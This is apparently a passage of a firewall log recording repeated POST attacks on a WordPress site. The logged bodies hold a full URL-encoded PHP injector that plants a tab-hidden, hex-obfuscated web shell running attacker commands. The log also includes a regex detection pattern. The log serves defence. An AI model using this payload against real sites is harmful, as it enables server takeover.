3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvH3VvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaIwo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\ncontent-length:9346\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-platform:\"Windows\"\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\nsec-fetch-site:none\nsec-fetch-dest:document\nsec-ch-ua-mobile:?0\n\nSr=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/theme-compat\/footer-embed.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524component1%2520%253D%2520%25273%2527%253B%2524component2%2520%253D%2520%25277%2527%253B%2524component3%2520%253D%2520%25279%2527%253B%2524component4%2520%253D%2520%25274%2527%253B%2524component5%2520%253D%2520%25275%2527%253B%2524component6%2520%253D%2520%25276%2527%253B%2524component7%2520%253D%2520%2527d%2527%253B%2524component8%2520%253D%2520%25278%2527%253B%2524component9%2520%253D%2520%2527c%2527%253B%2524component10%2520%253D%2520%2527f%2527%253B%2524component11%2520%253D%2520%25270%2527%253B%2524component12%2520%253D%2520%25272%2527%253B%2524component13%2520%253D%2520%25271%2527%253B%2524event_handler1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524component1%2520.%2520%2524component2%2520.%2520%2524component3%2520.%2520%25277%2527%2520.%2520%2524component1%2520.%2520%2524component2%2520.%2520%2524component4%2520.%2520%25276%2527%2520.%2520%2524component5%2520.%2520%2524component6%2520.%2520%2524component7%2529%253B%2524event_handler2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component2%2520.%2520%2524component1%2520.%2520%2524component6%2520.%2520%2524component8%2520.%2520%25276%2527%2520.%2520%2524component5%2520.%2520%2524component6%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2524component9%2520.%2520%2524component5%2520.%2520%2524component10%2520.%2520%2524component6%2520.%2520%2524component5%2520.%2520%2524component2%2520.%2520%2524component8%2520.%2520%2524component6%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%25273%2527%2529%253B%2524event_handler3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527%2520.%2520%2524component5%2520.%2520%2524component2%2520.%2520%2524component8%2520.%2520%25276%2527%2520.%2520%2524component5%2520.%2520%25276%2527%2520.%2520%25273%2527%2529%253B%2524event_handler4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524component11%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524component2%2520.%2520%25273%2527%2520.%2520%2524component2%2520.%2520%25274%2527%2520.%2520%2524component6%2520.%2520%2524component8%2520.%2520%25277%2527%2520.%2520%2524component12%2520.%2520%2524component2%2520.%2520%25275%2527%2529%253B%2524event_handler5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component2%2520.%2520%25270%2527%2520.%2520%2524component6%2520.%2520%2524component10%2520.%2520%2524component2%2520.%2520%2524component11%2520.%2520%2524component6%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2527e%2527%2529%253B%2524event_handler6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524component1%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25277%2527%2520.%2520%2524component12%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%2524component6%2520.%2520%2524component7%2520.%2520%2524component5%2520.%2520%2524component10%2520.%2520%2524component6%2520.%2520%25277%2527%2520.%2520%2524component6%2520.%2520%2524component5%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%2524component5%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%2524component10%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%2524component2%2520.%2520%2524component4%2520.%2520%25276%2527%2520.%2520%2524component5%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%2524component2%2520.%2520%2524component4%2520.%2520%25277%2527%2520.%2520%2524component1%2529%253B%2524event_handler7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%2524component1%2520.%2520%2524component6%2520.%2520%2524component9%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%2524component2%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2529%253B%2524query_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524component13%2520.%2520%2524component2%2520.%2520%2524component5%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%25272%2527%2520.%2520%25277%2527%2520.%2520%2524component3%2520.%2520%25275%2527%2520.%2520%2524component10%2520.%2520%2524component6%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%2524component13%2520.%2520%2524component6%2520.%2520%2527e%2527%2520.%2520%25276%2527%2520.%2520%2524component4%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2524component5%2520.%2520%25277%2527%2520.%2520%2524component12%2529%253Bif%2528isset%2528%2524_POST%255B%2524query_handler%255D%2529%2529%257B%2524query_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524query_handler%255D%2529%253Bif%2528function_exists%2528%2524event_handler1%2529%2529%257B%2524event_handler1%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524event_handler2%2529%2529%257Bprint%2520%2524event_handler2%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524event_handler3%2529%2529%257B%2524event_handler3%2528%2524query_handler%252C%2524ent_val%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524ent_val%2529%253B%257Delseif%2528function_exists%2528%2524event_handler4%2529%2529%257B%2524event_handler4%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524event_handler5%2529%2526%2526function_exists%2528%2524event_handler6%2529%2526%2526function_exists%2528%2524event_handler7%2529%2529%257B%2524tkn_entity%253D%2524event_handler5%2528%2524query_handler%252C%2522r%2522%2529%253Bif%2528%2524tkn_entity%2529%257B%2524object_rec%253D%2524event_handler6%2528%2524tkn_entity%2529%253B%2524event_handler7%2528%2524tkn_entity%2529%253Bprint%2520%2524object_rec%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 18:58:33","203.190.11.3","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> rX:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/theme-compat\/footer-embed.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524component1%2520%253D%2520%25273%2527%253B%2524component2%2520%253D%2520%25277%2527%253B%2524component3%2520%253D%2520%25279%2527%253B%2524component4%2520%253D%2520%25274%2527%253B%2524component5%2520%253D%2520%25275%2527%253B%2524component6%2520%253D%2520%25276%2527%253B%2524component7%2520%253D%2520%2527d%2527%253B%2524component8%2520%253D%2520%25278%2527%253B%2524component9%2520%253D%2520%2527c%2527%253B%2524component10%2520%253D%2520%2527f%2527%253B%2524component11%2520%253D%2520%25270%2527%253B%2524component12%2520%253D%2520%25272%2527%253B%2524component13%2520%253D%2520%25271%2527%253B%2524event_handler1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524component1%2520.%2520%2524component2%2520.%2520%2524component3%2520.%2520%25277%2527%2520.%2520%2524component1%2520.%2520%2524component2%2520.%2520%2524component4%2520.%2520%25276%2527%2520.%2520%2524component5%2520.%2520%2524component6%2520.%2520%2524component7%2529%253B%2524event_handler2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component2%2520.%2520%2524component1%2520.%2520%2524component6%2520.%2520%2524component8%2520.%2520%25276%2527%2520.%2520%2524component5%2520.%2520%2524component6%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2524component9%2520.%2520%2524component5%2520.%2520%2524component10%2520.%2520%2524component6%2520.%2520%2524component5%2520.%2520%2524component2%2520.%2520%2524component8%2520.%2520%2524component6%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%25273%2527%2529%253B%2524event_handler3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527%2520.%2520%2524component5%2520.%2520%2524component2%2520.%2520%2524component8%2520.%2520%25276%2527%2520.%2520%2524component5%2520.%2520%25276%2527%2520.%2520%25273%2527%2529%253B%2524event_handler4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524component11%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524component2%2520.%2520%25273%2527%2520.%2520%2524component2%2520.%2520%25274%2527%2520.%2520%2524component6%2520.%2520%2524component8%2520.%2520%25277%2527%2520.%2520%2524component12%2520.%2520%2524component2%2520.%2520%25275%2527%2529%253B%2524event_handler5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component2%2520.%2520%25270%2527%2520.%2520%2524component6%2520.%2520%2524component10%2520.%2520%2524component2%2520.%2520%2524component11%2520.%2520%2524component6%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2527e%2527%2529%253B%2524event_handler6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524component1%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25277%2527%2520.%2520%2524component12%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%2524component6%2520.%2520%2524component7%2520.%2520%2524component5%2520.%2520%2524component10%2520.%2520%2524component6%2520.%2520%25277%2527%2520.%2520%2524component6%2520.%2520%2524component5%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%2524component5%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%2524component10%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%2524component2%2520.%2520%2524component4%2520.%2520%25276%2527%2520.%2520%2524component5%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%2524component2%2520.%2520%2524component4%2520.%2520%25277%2527%2520.%2520%2524component1%2529%253B%2524event_handler7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%2524component1%2520.%2520%2524component6%2520.%2520%2524component9%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%2524component2%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2529%253B%2524query_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524component13%2520.%2520%2524component2%2520.%2520%2524component5%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%25272%2527%2520.%2520%25277%2527%2520.%2520%2524component3%2520.%2520%25275%2527%2520.%2520%2524component10%2520.%2520%2524component6%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%2524component13%2520.%2520%2524component6%2520.%2520%2527e%2527%2520.%2520%25276%2527%2520.%2520%2524component4%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2524component5%2520.%2520%25277%2527%2520.%2520%2524component12%2529%253Bif%2528isset%2528%2524_POST%255B%2524query_handler%255D%2529%2529%257B%2524query_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524query_handler%255D%2529%253Bif%2528function_exists%2528%2524event_handler1%2529%2529%257B%2524event_handler1%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524event_handler2%2529%2529%257Bprint%2520%2524event_handler2%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524event_handler3%2529%2529%257B%2524event_handler3%2528%2524query_handler%252C%2524ent_val%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524ent_val%2529%253B%257Delseif%2528function_exists%2528%2524event_handler4%2529%2529%257B%2524event_handler4%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524event_handler5%2529%2526%2526function_exists%2528%2524event_handler6%2529%2526%2526function_exists%2528%2524event_handler7%2529%2529%257B%2524tkn_entity%253D%2524event_handler5%2528%2524query_handler%252C%2522r%2522%2529%253Bif%2528%2524tkn_entity%2529%257B%2524object_rec%253D%2524event_handler6%2528%2524tkn_entity%2529%253B%2524event_handler7%2528%2524tkn_entity%2529%253Bprint%2520%2524object_rec%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpytvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmMKZvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:9346\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nrX=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/theme-compat\/footer-embed.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524component1%2520%253D%2520%25273%2527%253B%2524component2%2520%253D%2520%25277%2527%253B%2524component3%2520%253D%2520%25279%2527%253B%2524component4%2520%253D%2520%25274%2527%253B%2524component5%2520%253D%2520%25275%2527%253B%2524component6%2520%253D%2520%25276%2527%253B%2524component7%2520%253D%2520%2527d%2527%253B%2524component8%2520%253D%2520%25278%2527%253B%2524component9%2520%253D%2520%2527c%2527%253B%2524component10%2520%253D%2520%2527f%2527%253B%2524component11%2520%253D%2520%25270%2527%253B%2524component12%2520%253D%2520%25272%2527%253B%2524component13%2520%253D%2520%25271%2527%253B%2524event_handler1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524component1%2520.%2520%2524component2%2520.%2520%2524component3%2520.%2520%25277%2527%2520.%2520%2524component1%2520.%2520%2524component2%2520.%2520%2524component4%2520.%2520%25276%2527%2520.%2520%2524component5%2520.%2520%2524component6%2520.%2520%2524component7%2529%253B%2524event_handler2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component2%2520.%2520%2524component1%2520.%2520%2524component6%2520.%2520%2524component8%2520.%2520%25276%2527%2520.%2520%2524component5%2520.%2520%2524component6%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2524component9%2520.%2520%2524component5%2520.%2520%2524component10%2520.%2520%2524component6%2520.%2520%2524component5%2520.%2520%2524component2%2520.%2520%2524component8%2520.%2520%2524component6%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%25273%2527%2529%253B%2524event_handler3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527%2520.%2520%2524component5%2520.%2520%2524component2%2520.%2520%2524component8%2520.%2520%25276%2527%2520.%2520%2524component5%2520.%2520%25276%2527%2520.%2520%25273%2527%2529%253B%2524event_handler4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524component11%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524component2%2520.%2520%25273%2527%2520.%2520%2524component2%2520.%2520%25274%2527%2520.%2520%2524component6%2520.%2520%2524component8%2520.%2520%25277%2527%2520.%2520%2524component12%2520.%2520%2524component2%2520.%2520%25275%2527%2529%253B%2524event_handler5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component2%2520.%2520%25270%2527%2520.%2520%2524component6%2520.%2520%2524component10%2520.%2520%2524component2%2520.%2520%2524component11%2520.%2520%2524component6%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2527e%2527%2529%253B%2524event_handler6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524component1%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25277%2527%2520.%2520%2524component12%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%2524component6%2520.%2520%2524component7%2520.%2520%2524component5%2520.%2520%2524component10%2520.%2520%2524component6%2520.%2520%25277%2527%2520.%2520%2524component6%2520.%2520%2524component5%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%2524component5%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%2524component10%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%2524component2%2520.%2520%2524component4%2520.%2520%25276%2527%2520.%2520%2524component5%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%2524component2%2520.%2520%2524component4%2520.%2520%25277%2527%2520.%2520%2524component1%2529%253B%2524event_handler7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%2524component1%2520.%2520%2524component6%2520.%2520%2524component9%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%2524component2%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2529%253B%2524query_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524component13%2520.%2520%2524component2%2520.%2520%2524component5%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%25272%2527%2520.%2520%25277%2527%2520.%2520%2524component3%2520.%2520%25275%2527%2520.%2520%2524component10%2520.%2520%2524component6%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%2524component13%2520.%2520%2524component6%2520.%2520%2527e%2527%2520.%2520%25276%2527%2520.%2520%2524component4%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2524component5%2520.%2520%25277%2527%2520.%2520%2524component12%2529%253Bif%2528isset%2528%2524_POST%255B%2524query_handler%255D%2529%2529%257B%2524query_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524query_handler%255D%2529%253Bif%2528function_exists%2528%2524event_handler1%2529%2529%257B%2524event_handler1%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524event_handler2%2529%2529%257Bprint%2520%2524event_handler2%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524event_handler3%2529%2529%257B%2524event_handler3%2528%2524query_handler%252C%2524ent_val%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524ent_val%2529%253B%257Delseif%2528function_exists%2528%2524event_handler4%2529%2529%257B%2524event_handler4%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524event_handler5%2529%2526%2526function_exists%2528%2524event_handler6%2529%2526%2526function_exists%2528%2524event_handler7%2529%2529%257B%2524tkn_entity%253D%2524event_handler5%2528%2524query_handler%252C%2522r%2522%2529%253Bif%2528%2524tkn_entity%2529%257B%2524object_rec%253D%2524event_handler6%2528%2524tkn_entity%2529%253B%2524event_handler7%2528%2524tkn_entity%2529%253Bprint%2520%2524object_rec%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 18:58:40","118.139.167.171","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> kX:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/theme-compat\/footer-embed.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524component1%2520%253D%2520%25273%2527%253B%2524component2%2520%253D%2520%25277%2527%253B%2524component3%2520%253D%2520%25279%2527%253B%2524component4%2520%253D%2520%25274%2527%253B%2524component5%2520%253D%2520%25275%2527%253B%2524component6%2520%253D%2520%25276%2527%253B%2524component7%2520%253D%2520%2527d%2527%253B%2524component8%2520%253D%2520%25278%2527%253B%2524component9%2520%253D%2520%2527c%2527%253B%2524component10%2520%253D%2520%2527f%2527%253B%2524component11%2520%253D%2520%25270%2527%253B%2524component12%2520%253D%2520%25272%2527%253B%2524component13%2520%253D%2520%25271%2527%253B%2524event_handler1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524component1%2520.%2520%2524component2%2520.%2520%2524component3%2520.%2520%25277%2527%2520.%2520%2524component1%2520.%2520%2524component2%2520.%2520%2524component4%2520.%2520%25276%2527%2520.%2520%2524component5%2520.%2520%2524component6%2520.%2520%2524component7%2529%253B%2524event_handler2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component2%2520.%2520%2524component1%2520.%2520%2524component6%2520.%2520%2524component8%2520.%2520%25276%2527%2520.%2520%2524component5%2520.%2520%2524component6%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2524component9%2520.%2520%2524component5%2520.%2520%2524component10%2520.%2520%2524component6%2520.%2520%2524component5%2520.%2520%2524component2%2520.%2520%2524component8%2520.%2520%2524component6%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%25273%2527%2529%253B%2524event_handler3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527%2520.%2520%2524component5%2520.%2520%2524component2%2520.%2520%2524component8%2520.%2520%25276%2527%2520.%2520%2524component5%2520.%2520%25276%2527%2520.%2520%25273%2527%2529%253B%2524event_handler4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524component11%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524component2%2520.%2520%25273%2527%2520.%2520%2524component2%2520.%2520%25274%2527%2520.%2520%2524component6%2520.%2520%2524component8%2520.%2520%25277%2527%2520.%2520%2524component12%2520.%2520%2524component2%2520.%2520%25275%2527%2529%253B%2524event_handler5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component2%2520.%2520%25270%2527%2520.%2520%2524component6%2520.%2520%2524component10%2520.%2520%2524component2%2520.%2520%2524component11%2520.%2520%2524component6%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2527e%2527%2529%253B%2524event_handler6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524component1%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25277%2527%2520.%2520%2524component12%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520